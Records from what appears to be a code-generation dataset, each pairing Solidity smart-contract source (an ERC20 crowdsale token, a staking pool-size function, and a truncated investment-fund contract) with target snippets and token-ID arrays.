uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* SafeMath <https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/BasicToken.sol/>
* Copyright (c) 2016 Smart Contract Solutions, Inc.
* Released under the MIT License (MIT)
*/
contract BasicToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}else {
return false;
}
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
uint256 _allowance = allowed[_from][msg.sender];
allowed[_from][msg.sender] = _allowance.sub(_value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract UberToken is BasicToken {
using SafeMath for uint256;
// token Variable declaration
string public name = "Uber Token"; // Name of the token
string public symbol = "UBER"; // Symbol of the token
uint16 public decimals = 18; // Decimals for the token
uint256 public totalSupply = 135000000 * 10 ** 18; // Total generated pre-mined tokens
// distribution variables
uint256 public tokenAllocToTeam; // Token allocated to team
uint256 public tokenAllocToCrowdsale; // Token allocated to crowdsale contract
uint256 public tokenAllocToMM; // Token allocation for in marketing and media
uint256 public allocatedTokens; // Variable to track to the allocated tokens
// addresses
address public crowdsaleAddress; // Address of the crowdsale contract
address public vestingContractAddress; // Address of the vesting contract to hold the tokens of the team
address public founderAddress; // Address of th founder which controls the admin function of the token contract
address public marketingAddress; // Address which hold the marketing tokens
event OwnershipTransfered(uint256 _timestamp, address _newFounderAddress);
function UberToken(address _crowdsaleAddress, address _vestingContract, address _founderAddress, address _marketingAddress) public {
tokenAllocToTeam = 13500000 * 10 ** 18; //10 % Allocation
tokenAllocToCrowdsale = 114750000 * 10 ** 18; // 85 % Allocation
tokenAllocToMM = 6750000 * 10 ** 18; // 5 % Allocation
// Address
crowdsaleAddress = _crowdsaleAddress;
vestingContractAddress = _vestingContract;
founderAddress = _founderAddress;
marketingAddress = _marketingAddress;
// Allocations
balances[crowdsaleAddress] = tokenAllocToCrowdsale;
balances[marketingAddress] = tokenAllocToMM;
balances[vestingContractAddress] = tokenAllocToTeam;
allocatedTokens = balances[marketingAddress];
}
/**
* @dev use to transfer the ownership of the contract address to other
* @param _newFounderAddress Address of the new founder
* @return bool
*/
function transferOwnership(address _newFounderAddress) public returns(bool) {
require(msg.sender == founderAddress);
founderAddress = _newFounderAddress;
OwnershipTransfered(now,_newFounderAddress);
return true;
}
/**
* @dev use to burn the tokens after the completion of the crowdsale
* @return bool
*/
function burn() public returns(bool) {
require(msg.sender == crowdsaleAddress);
uint256 burnAmount = balances[crowdsaleAddress];
totalSupply = totalSupply.sub(burnAmount);
balances[crowdsaleAddress] = 0;
return true;
}
}
contract UberCrowdsale {
using SafeMath for uint256;
UberToken public token;
uint32 public tokenRate = 1000; // Rate of the token 1 ETH = 1000 UBER
uint256 public MIN_PRESALE = 1 ether; // Minimum investment for presale
uint256 public MIN_CROWDSALE = 100 finney; // Minimum investment for crowdsale
uint256 public MAX_INVESTMENT_GOAL = 100000 ether; // Maximum investment goal
uint256 public ethRaised; // Flag variable to track the amount of ether raised
uint256 public presaleAllotment = 6750000 * 10 ** 18; // Token allotment for presale
uint256 public crowdsaleAllotment = 108000000 * 10 ** 18; // Token allotment for crowdsale
uint256 public soldPresaleToken = 0; // Falg variable to track the amount of token sold in presale
uint256 public soldCrowdsaleToken = 0; // Falg variable to track the amount of token sold in crowdsale
uint256 public startPresaleDate; // Unix timestamp at presale get started
uint256 public endPresaleDate; // Unix timestamp at presale get ended
uint256 public startCrowdsaleDate; // Unix timestamp at presale get started
uint256 public endCrowdsaleDate; // Unix timestamp at presale get ended
bool private isPresaleActive = false;
bool private isCrowdsaleActive = false;
bool private isGapActive = false;
bool public isTokenSet = false;
address public operatorAddress; // Address who can operate all admin functionality of the crowdsale contract
address public beneficiaryAddress; // Address where all invested ethers get transfered
address public tokenAddress; // Address of the token used as the ROI
// Notifications
event TokenBought(address indexed _investor, uint256 _token);
event BurnToken(uint256 _amount, uint256 _timestamp);
event RemainingTokenTransfered(address indexed _newCrowdsale, uint256 _timestamp);
enum State { Presale, Gap, Crowdsale, Finish }
modifier onlyOperator() {
require(operatorAddress == msg.sender);
_;
}
/**
* @dev `fundTransfer` use to trasfer the fund from contract to beneficiary
* @param _fund Amount of wei to transfer
*/
function fundTransfer(uint256 _fund) internal returns(bool) {
beneficiaryAddress.transfer(_fund);
return true;
}
function () payable public {
buyTokens(msg.sender);
}
// Constructor
function UberCrowdsale(address _operatorAddress, address _beneficiaryAddress) public {
operatorAddress = _operatorAddress;
beneficiaryAddress = _beneficiaryAddress;
startPresaleDate = 1521072000;
endPresaleDate = startPresaleDate + 4 weeks;
isPresaleActive = !isPresaleActive;
}
/**
* @dev `setTokenAddress` use to add the token address
* @param _tokenAddress Address of the token
*/
function setTokenAddress(address _tokenAddress) onlyOperator public returns (bool) {
require(_tokenAddress != address(0));
require(isTokenSet == false);
token = UberToken(_tokenAddress);
tokenAddress = _tokenAddress;
isTokenSet = !isTokenSet;
return true;
}
/**
* @dev `endPresale` Function used to end the presale
*/
function endPresale() onlyOperator public {
require(isTokenSet == true);
require(now > endPresaleDate);
require(isPresaleActive == true);
require(isGapActive == false);
isPresaleActive = !isPresaleActive;
isGapActive = !isGapActive;
}
/**
* @dev use to active the crowdsale
*/
function activeCrowdsale() onlyOperator public {
require(isGapActive == true);
startCrowdsaleDate = now;
endCrowdsaleDate = now + 4 weeks;
isCrowdsaleActive = !isCrowdsaleActive;
}
/**
* @dev used to add the minimum investment figure
* @param _newMinInvestment minimum investment
*/
function changeMinInvestment(uint256 _newMinInvestment) onlyOperator public {
if (getState() == State.Presale) {
MIN_PRESALE = _newMinInvestment;
}
if (getState() == State.Crowdsale) {
MIN_CROWDSALE = _newMinInvestment;
}
}
/**
* @dev get function to get the state of the contract
*/
function getState() view public returns(State) {
if (isPresaleActive == true) {
require(now >= startPresaleDate && now <= endPresaleDate);
return State.Presale;
}
if (isCrowdsaleActive == true) {
require(now >= startCrowdsaleDate && now <= endCrowdsaleDate);
return State.Crowdsale;
}
if (isGapActive == true) {
return State.Gap;
}
return State.Finish;
}
/**
* @dev use to get the bonus of the week
*/
function getBonus() view public returns(uint16) {
if (getState() == State.Presale) {
if (now >= startPresaleDate && now <= startPresaleDate + 1 weeks) {
return 50;
}
if (now > startPresaleDate + 1 weeks && now <= startPresaleDate + 4 weeks) {
return 40;
}
}
if (getState() == State.Crowdsale) {
if (now >= startCrowdsaleDate && now <= startCrowdsaleDate + 1 weeks) {
return 20;
}
if (now > startCrowdsaleDate + 1 weeks && now <= startCrowdsaleDate + 2 weeks) {
return 10;
}
if (now > startCrowdsaleDate + 2 weeks && now <= startCrowdsaleDate + 3 weeks) {
return 5;
}
return 0;
}
}
/**
* @dev It is used to buy the token
* @param _investorAddress Address of the constructor
*/
function buyTokens(address _investorAddress)
public
payable
returns (bool)
{
require(isTokenSet == true);
require(MAX_INVESTMENT_GOAL >= ethRaised + msg.value);
uint256 tokenAmount;
if (getState() == State.Presale) {
require(msg.value >= MIN_PRESALE);
tokenAmount = getTokenAmount(msg.value);
require(presaleAllotment >= soldPresaleToken + tokenAmount);
require(fundTransfer(msg.value));
require(tokenSold(_investorAddress, tokenAmount));
soldPresaleToken = soldPresaleToken.add(tokenAmount);
return true;
}
if (getState() == State.Crowdsale) {
require(msg.value >= MIN_CROWDSALE);
tokenAmount = getTokenAmount(msg.value);
require(crowdsaleAllotment >= soldCrowdsaleToken + tokenAmount);
require(fundTransfer(msg.value));
require(tokenSold(_investorAddress, tokenAmount));
soldCrowdsaleToken = soldCrowdsaleToken.add(tokenAmount);
return true;
}
if (getState() == State.Gap) {
revert();
}
}
/**
* @dev `getTokenAmount` use to get the tokens amount corresponds to the invested money
* @param _investedAmount Amount need to be invested
*/
function getTokenAmount(uint256 _investedAmount) view public returns (uint256) {
uint256 bonus = uint256(getBonus());
uint256 withoutBonusAmount = uint256(tokenRate).mul(_investedAmount);
uint256 bonusAmount = ((withoutBonusAmount.mul(100)).add(withoutBonusAmount.mul(bonus))).div(100);
return bonusAmount;
}
/**
* @dev common function use in the buyTokens function
* @param _investorAddress Address of the investor
* @param _amount Amount the investor invested
*/
function tokenSold(address _investorAddress, uint256 _amount) private returns (bool) {
require(token.transfer(_investorAddress, _amount));
ethRaised = ethRaised.add(msg.value);
TokenBought(_investorAddress, _amount);
return true;
}
/**
* @dev `endCrowdfund` Use to end the crowdfund
* @param _decide parameter to decide the operation
* @param _newCrowdsale address of the new crowdsale contract
*/
function endCrowdfund(bool _decide, address _newCrowdsale) onlyOperator public returns(bool) {
require(now > endCrowdsaleDate);
require(isTokenSet == true);
uint256 burnAmount = token.balanceOf(this);
if (_decide) {
require(token.burn());
BurnToken(burnAmount, now);
return true;
}
require(_newCrowdsale != address(0));
require(token.transfer(_newCrowdsale, burnAmount));
RemainingTokenTransfered(_newCrowdsale, now);
return true;
}
} | Minimum investment for crowdsale
| uint256 public MIN_CROWDSALE = 100 finney; | 12,949,716 | [
1,
13042,
2198,
395,
475,
364,
276,
492,
2377,
5349,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
1071,
6989,
67,
39,
11226,
19748,
900,
273,
2130,
574,
82,
402,
31,
4766,
9079,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x139cD41f11D2C2Ec3c34C6507AD9e7D8d4D7C1dF/sources/StakingVault.sol | total rewarud token = 10000 total return = 1000 (10 %) total pool size = total rewawrd token * 10000 / total return | function poolSize() public view returns (uint256) {
return (totalRewardToken.mul(10000)).div(rewardPercent);
}
| 16,088,073 | [
1,
4963,
283,
905,
1100,
1147,
273,
12619,
2078,
327,
273,
4336,
261,
2163,
738,
13,
2078,
2845,
963,
273,
2078,
283,
91,
2219,
13623,
1147,
225,
12619,
342,
2078,
327,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2845,
1225,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
261,
4963,
17631,
1060,
1345,
18,
16411,
12,
23899,
13,
2934,
2892,
12,
266,
2913,
8410,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* Imports
*/
import "./GSN/Context.sol";
import "./token/EIP20/IEIP20.sol";
import "./token/EIP20/SafeEIP20.sol";
import "./utils/ReentrancyGuard.sol";
/**
* Smart contract implementing an investment fund logic.
*/
contract InvestmentFund is Context, ReentrancyGuard {
using SafeEIP20 for IEIP20;
/*
* Constants
*/
// Unlimited amount
uint256 constant UNLIMITED_AMOUNT = 2**256 - 1;
// Multiplier decimals
uint256 constant MULTIPLIER_DECIMALS = 1e12;
// Minimum multiplier
uint256 constant MIN_MULTIPLIER = 1e12;
// Contract states
uint8 constant STATE_INITIAL = 0;
uint8 constant STATE_BEFORE_INVESTMENT = 1;
uint8 constant STATE_DURING_INVESTMENT = 2;
uint8 constant STATE_AFTER_INVESTMENT = 3;
/*
* Structures
*/
/// Investor deposit structure
struct InvestorDeposit {
uint256 amount; // Amount of deposit
uint256 index; // Investor index in array
}
/*
* Variables
*/
/// Fund manager address
address public fundManager;
/// Pending fund manager address
address public pendingFundManager;
/// Token accepted by the fund
IEIP20 public fundToken;
/// Current state
uint8 public currState;
/// Force the deposit to be multiple of the specified value
uint256 public depositMultipleOf;
/// Minimum investor deposit
uint256 public minInvestorDeposit;
/// Maximum investor deposit
uint256 public maxInvestorDeposit;
/// Initial amount before investing
uint256 public totalAmountBeforeInvestment;
/// Final amount after investing
uint256 public totalAmountAfterInvestment;
/// Multiplier (final amount / initial amount)
uint256 public investmentMultiplier;
/// Address for storing funds that were not withdrawn
address public remainingFundsAddr;
/// List of investors deposits
mapping (address => InvestorDeposit) public investorDeposits;
/// List of investors addresses
address[] public investors;
/*
* Modifiers
*/
/// Check if the caller is the fund manager
modifier onlyFundManager() {
require(fundManager == _msgSender(), "InvestmentFund: caller is not the fund manager");
_;
}
/// Check if the state is initial
modifier onlyInitialState() {
require(currState == STATE_INITIAL, "InvestmentFund: operation not allowed in current state");
_;
}
/// Check if the state is before investment
modifier onlyBeforeInvestment() {
require(currState == STATE_BEFORE_INVESTMENT, "InvestmentFund: operation not allowed in current state");
_;
}
/// Check if the state is during investment
modifier onlyDuringInvestment() {
require(currState == STATE_DURING_INVESTMENT, "InvestmentFund: operation not allowed in current state");
_;
}
/// Check if the state is after investment
modifier onlyAfterInvestment() {
require(currState == STATE_AFTER_INVESTMENT, "InvestmentFund: operation not allowed in current state");
_;
}
/// Check if the state is before or after investment
modifier onlyBeforeOrAfterInvestment() {
require((currState == STATE_BEFORE_INVESTMENT) || (currState == STATE_AFTER_INVESTMENT), "InvestmentFund: operation not allowed in current state");
_;
}
/*
* Events
*/
/// Events for funds deposited by investor
event InvestorFundsDeposited(address indexed investor, uint256 amount);
/// Events for funds withdrawn by investor
event InvestorAllFundsWithdrawn(address indexed investor, uint256 amount);
/// Events for funds deposited by fund manager during investment
event FundManagerFundsDeposited(address indexed owner, uint256 amount);
/// Events for funds withdrawn by fund manager during investment
event FundManagerFundsWithdrawn(address indexed owner, uint256 amount);
/// Events for funds returned by fund manager to a specific investor after investment
event FundManagerFundsReturnedToInvestor(address indexed investor, uint256 amount);
/// Events for funds returned by fund manager to all investors after investment
event FundManagerFundsReturnedToAllInvestors();
/// Events for setting a pending fund manager
event FundManagerPendingSet(address indexed pendingAddress);
/// Events for changing the fund manager
event FundManagerChanged(address indexed oldAddress, address indexed newAddress);
/// Events for changing the remaining funds address
event RemainingFundsAddressChanged(address oldAddress, address newAddress);
/// Events for changing the fund token
event FundTokenChanged(address oldToken, address newToken);
/// Events for changing the minimum investor deposit
event DepositMultipleOfChanged(uint256 oldValue, uint256 newValue);
/// Events for changing the maximum investor deposit
event MinInvestorDepositChanged(uint256 oldAmount, uint256 newAmount);
/// Events for changing the maximum investor deposit
event MaxInvestorDepositChanged(uint256 oldAmount, uint256 newAmount);
/// Events for starting investor deposit
event InvestorsDepositStarted();
/// Events for stopping investor deposit
event InvestorsDepositStopped();
/// Events for starting investor withdraw
event InvestorsWithdrawStarted();
/// Events for stopping investor withdraw
event InvestorsWithdrawStopped();
/*
* Public functions (for all)
*/
/**
* Initialize the contract.
* @param fundToken_ Contract address of the token to be used for depositing/withdrawing funds (e.g. BUSD, BNB, ...)
*/
constructor(address fundToken_) {
require(fundToken_ != address(0), "InvestmentFund: token address shall not be zero");
fundToken = IEIP20(fundToken_);
fundManager = _msgSender();
pendingFundManager = address(0);
remainingFundsAddr = _msgSender();
depositMultipleOf = 1;
minInvestorDeposit = 1;
maxInvestorDeposit = UNLIMITED_AMOUNT;
_resetState();
}
/**
* Get the total number of investors.
* @return investor_num Total number of investors
*/
function numberOfInvestors() external view returns (uint256 investor_num) {
investor_num = investors.length;
}
/**
* Get the total amount of deposited funds.
* @return total_deposit Total amount deposited funds
*/
function totalDepositedFunds() public view returns (uint256 total_deposit) {
total_deposit = fundToken.balanceOf(address(this));
}
/**
* Called by investor to deposit the specified amount before investment is started.
* @param amount Amount to deposit
*/
function investorDeposit(uint256 amount) public onlyBeforeInvestment nonReentrant {
require(amount != 0, "InvestmentFund: amount shall not be zero");
require(amount >= minInvestorDeposit, "InvestmentFund: amount shall be higher than minimum deposit");
require(amount <= maxInvestorDeposit, "InvestmentFund: amount shall be lower than maximum deposit");
require((amount % depositMultipleOf) == 0, "InvestmentFund: amount shall be multiple of depositMultipleOf");
// Get investor deposit
InvestorDeposit storage investor_deposit = investorDeposits[_msgSender()];
// Update it
if (investor_deposit.amount == 0) {
investors.push(_msgSender());
investor_deposit.index = investors.length - 1;
}
investor_deposit.amount += amount;
// Transfer tokens
fundToken.safeTransferFrom(_msgSender(), address(this), amount);
emit InvestorFundsDeposited(_msgSender(), amount);
}
/**
* Called by investor to withdraw all the funds before of after the investment.
*/
function investorWithdrawAll() public onlyBeforeOrAfterInvestment nonReentrant {
// Get investor deposit
InvestorDeposit storage investor_deposit = investorDeposits[_msgSender()];
// Check amount
require(investor_deposit.amount != 0, "InvestmentFund: no funds to withdraw");
// Compute amount
uint256 withdraw_amount = _computeAmountToWithdraw(investor_deposit.amount);
// Update it
investor_deposit.amount = 0;
// Delete investor
_deleteInvestor(investor_deposit.index);
// Transfer token
fundToken.safeTransfer(_msgSender(), withdraw_amount);
emit InvestorAllFundsWithdrawn(_msgSender(), withdraw_amount);
}
/*
* Public functions (only owner)
*/
/**
* Called by the owner to set a pending fund manager.
* @param newFundManager Fund manager address
*/
function setPendingFundManager(address newFundManager) public onlyFundManager onlyInitialState {
require(newFundManager != address(0), "InvestmentFund: address shall not be zero");
require(newFundManager != fundManager, "InvestmentFund: fund manager shall be different from the current one");
pendingFundManager = newFundManager;
emit FundManagerPendingSet(newFundManager);
}
/**
* Called by the pending fund manager to accept the role.
*/
function acceptFundManager() public onlyInitialState {
require(_msgSender() == pendingFundManager, "InvestmentFund: address shall be the pending fund manager");
address old_fund_manager = fundManager;
fundManager = pendingFundManager;
remainingFundsAddr = pendingFundManager;
pendingFundManager = address(0);
emit FundManagerChanged(old_fund_manager, _msgSender());
}
/*
* Public functions (only fund manager)
*/
/**
* Called by the fund manager to deposit funds during investment.
* @param amount Amount to deposit
*/
function fundManagerDeposit(uint256 amount) public onlyFundManager onlyDuringInvestment {
require(amount != 0, "InvestmentFund: amount shall not be zero");
fundToken.safeTransferFrom(_msgSender(), address(this), amount);
emit FundManagerFundsDeposited(_msgSender(), amount);
}
/**
* Called by the fund manager to withdraw the specified amount of funds during investment.
* @param amount Amount to withdraw
*/
function fundManagerWithdraw(uint256 amount) public onlyFundManager onlyDuringInvestment {
require(amount != 0, "InvestmentFund: amount shall not be zero");
fundToken.safeTransfer(_msgSender(), amount);
emit FundManagerFundsWithdrawn(_msgSender(), amount);
}
/**
* Called by the fund manager to withdraw all funds during investment.
*/
function fundManagerWithdrawAll() public onlyFundManager onlyDuringInvestment {
fundManagerWithdraw(totalDepositedFunds());
}
/**
* Called by the fund manager to return funds to a specific investor after investment.
* Useful for forcing the withdraw of funds to a specific investor.
* @param investor Investor address
*/
function fundManagerReturnFundsToInvestor(address investor) public onlyFundManager onlyAfterInvestment {
// Get investor deposit
InvestorDeposit storage investor_deposit = investorDeposits[investor];
// Check amount
require(investor_deposit.amount != 0, "InvestmentFund: no funds to withdraw");
// Compute amount
uint256 withdraw_amount = _computeAmountToWithdraw(investor_deposit.amount);
// Reset deposit
investor_deposit.amount = 0;
// Transfer token
fundToken.safeTransfer(investor, withdraw_amount);
// Delete investor
_deleteInvestor(investor_deposit.index);
emit FundManagerFundsReturnedToInvestor(investor, withdraw_amount);
}
/**
* Called by the fund manager to return all funds to investors after investment.
* Useful for forcing the withdraw of funds to all investors.
* @dev It can be expensive in terms of gas, it's better to call it only if there are few investors remaining
*/
function fundManagerReturnFundsToAllInvestors() public onlyFundManager onlyAfterInvestment {
require(investors.length != 0, "InvestmentFund: no investors left");
// Withdraw to all investors
for (uint256 i = 0; i < investors.length; i++) {
// Get investor deposit
address investor_addr = investors[i];
InvestorDeposit storage investor_deposit = investorDeposits[investor_addr];
if (investor_deposit.amount != 0) {
// Compute amount
uint256 withdraw_amount = _computeAmountToWithdraw(investor_deposit.amount);
// Reset deposit
investor_deposit.amount = 0;
// Transfer token
fundToken.safeTransfer(investor_addr, withdraw_amount);
}
}
// Delete all investors
delete investors;
emit FundManagerFundsReturnedToAllInvestors();
}
/**
* Called by the fund manager to set the address to withdraw remaining funds.
* @param remainingFundsAddr_ Address to withdraw remaining funds
*/
function setRemainingFundsAddress(address remainingFundsAddr_) public onlyFundManager onlyInitialState {
require(remainingFundsAddr_ != address(0), "InvestmentFund: address shall not be zero");
address old_addr = remainingFundsAddr;
remainingFundsAddr = remainingFundsAddr_;
emit RemainingFundsAddressChanged(old_addr, remainingFundsAddr_);
}
/**
* Called by the fund manager to set the fund token address.
* @param fundToken_ Fund token address
*/
function setFundToken(address fundToken_) public onlyFundManager onlyInitialState {
require(fundToken_ != address(0), "InvestmentFund: fund token shall not be the zero address");
address old_token = address(fundToken);
fundToken = IEIP20(fundToken_);
emit FundTokenChanged(old_token, fundToken_);
}
/**
* Called by the fund manager to set the deposit multiple of.
* @param value Deposit multiple of
*/
function setDepositMultipleOf(uint256 value) public onlyFundManager onlyInitialState {
require(value != 0, "InvestmentFund: value shall not be zero");
uint256 old_value = depositMultipleOf;
depositMultipleOf = value;
emit DepositMultipleOfChanged(old_value, value);
}
/**
* Called by the fund manager to set the minimum investor deposit.
* @param amount Minimum investor deposit amount
*/
